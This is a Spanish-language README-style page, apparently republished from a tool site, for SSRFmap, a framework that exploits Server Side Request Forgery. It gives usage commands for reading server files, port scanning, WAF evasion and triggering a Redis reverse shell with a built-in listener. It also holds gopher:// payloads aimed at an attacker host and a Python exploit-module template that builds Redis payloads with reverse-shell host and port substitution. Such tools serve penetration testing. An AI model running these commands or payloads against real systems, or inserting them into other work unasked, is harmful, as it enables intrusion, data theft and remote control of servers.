SSRFmap

Las SSRF se utilizan a menudo para aprovechar acciones en otros servicios; este framework tiene como objetivo encontrar y explotar estos servicios fácilmente. SSRFmap toma un archivo de solicitud de Burp como entrada y un parámetro para fuzzear.

Server Side Request Forgery o SSRF es una vulnerabilidad en la que un atacante obliga a un servidor a realizar solicitudes en su nombre.

Resumen

• Módulos
• Instalación y manual
• Ejemplos
• Pruebas de SSRFmap
• Contribuir
  • Agradecimientos a los contribuidores

Módulos

Los siguientes módulos ya están implementados y se pueden usar con el argumento -m.

Instalación y manual

• Desde el repositorio de Github.

  root@kitploit:~

  $ git clone https://github.com/swisskyrepo/SSRFmap
  $ cd SSRFmap/
  $ pip3 install -r requirements.txt
  $ python3 ssrfmap.py
  
    usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                      [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                      [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
  
    optional arguments:
      -h, --help          show this help message and exit
      -r REQFILE          SSRF Request file
      -p PARAM            SSRF Parameter to target
      -m MODULES          SSRF Modules to enable
      -l HANDLER          Start an handler for a reverse shell
      -v [VERBOSE]        Enable verbosity
      --lhost LHOST       LHOST reverse shell or IP to target in the network
      --lport LPORT       LPORT reverse shell or port to target in the network
      --uagent USERAGENT  User Agent to use
      --ssl [SSL]         Use HTTPS without verification
      --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
      --level [LEVEL]     Level of test to perform (1-5, default: 1)
  

• Docker

  root@kitploit:~

  $ git clone https://github.com/swisskyrepo/SSRFmap
  $ docker build --no-cache -t ssrfmap .
  $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
  $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
  

Ejemplos

Primero necesitas una solicitud con un parámetro para fuzzear; las solicitudes de Burp funcionan bien con SSRFmap. Deberían verse como la siguiente. Hay más ejemplos en la carpeta ./examples.

POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Usa -m seguido del nombre del módulo (separado por , si quieres lanzar varios módulos).

# Lanza un portscan en localhost y lee los archivos por defecto
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

Si quieres inyectar dentro de una cabecera, un parámetro GET o POST, solo necesitas especificar el nombre del parámetro.

python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

Si necesitas un user-agent personalizado, usa --uagent. Algunos objetivos usarán HTTPS; puedes habilitarlo con --ssl.

# Lanza un portscan contra un endpoint HTTPS usando un user-agent personalizado
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Algunos módulos te permiten crear una conexión de retorno; debes especificar LHOST y LPORT. Además, SSRFmap puede escuchar la shell inversa entrante.

# Desencadenando una shell inversa en un Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l crea un listener para la shell inversa en el puerto especificado
# --lhost y --lport funcionan como en Metasploit; estos valores se usan para crear el payload de la shell inversa

Cuando el objetivo está protegido por un WAF o algún filtro, puedes probar una amplia gama de payloads y codificaciones con el parámetro --level.

# --level : capacidad de ajustar los payloads para evadir algunos IDS/WAF. ej: 127.0.0.1 -> [::] -> 0000: -> ...

Pruebas de SSRFmap

Una forma rápida de probar el framework es con el servicio SSRF data/example.py.

• Local

  root@kitploit:~

  FLASK_APP=examples/example.py flask run &
  python ssrfmap.py -r examples/request.txt -p url -m readfiles
  

• Docker

  root@kitploit:~

  docker build --no-cache -t ssrfmap .
  
  # ejecutar el servicio HTTP SSRF de ejemplo
  docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
  
  # ejecutar el servicio DNS SSRF de ejemplo
  docker exec -u root:root -it example python examples/ssrf_dns.py
  
  # ejecutar la herramienta ssrfmap
  docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
  

Lanza las solicitudes de prueba:

docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

Contribuir

Me encantan las pull requests :) Siéntete libre de añadir cualquier funcionalidad listada abajo o un nuevo servicio.

• Explotación Redis PHP
• Módulo HTTP (¿Jenkins?)

gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

El siguiente código es una plantilla si deseas añadir un módulo que interactúe con un servicio.

from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

También puedes contribuir con una cerveza en persona o a través del botón de Github Sponsor.

Agradecimientos a los contribuidores

Inspirado por

• Cómo encadené 4 vulnerabilidades en GitHub Enterprise, de SSRF a RCE! - Orange Tsai
• Blog sobre la herramienta Gopherus -SpyD3r
• Gopherus - Github
• Pruebas de SSRF - cujanovic